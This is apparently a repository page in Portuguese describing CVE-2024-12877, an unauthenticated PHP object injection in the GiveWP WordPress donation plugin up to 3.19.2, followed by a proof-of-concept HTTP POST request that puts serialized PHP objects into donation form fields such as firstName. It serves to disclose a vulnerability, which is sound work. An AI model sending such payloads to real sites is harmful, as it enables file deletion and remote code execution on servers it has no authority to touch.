randomrobbiebf/cve-2024-12877GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos <= 3.19.2 - Injeção de Objeto PHP Não Autenticada
GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos <= 3.19.2 - Injeção de Objeto PHP Não Autenticada
O plugin GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos para WordPress é vulnerável à Injeção de Objeto PHP em todas as versões até, e incluindo, a 3.19.2, por meio da desserialização de entrada não confiável do formulário de doação, como 'firstName'. Isso torna possível que atacantes não autenticados injetem um Objeto PHP. A presença adicional de uma cadeia POP permite que atacantes excluam arquivos arbitrários no servidor, o que torna possível a execução remota de código. Observe que isso foi apenas parcialmente corrigido na versão 3.19.3; uma correção totalmente suficiente não foi lançada até a versão 3.19.4. No entanto, outro CVE foi atribuído por outra CNA para a versão 3.19.3, então deixaremos isso como afetando a versão 3.19.2 e anteriores. Recomendamos que o fornecedor use codificação JSON para evitar que quaisquer outras vulnerabilidades de desserialização estejam presentes.
POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
amount=10¤cy=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=O:20:"PHP_Object_Injection":0:{}&[email protected]&donationType=single&donationBirthday=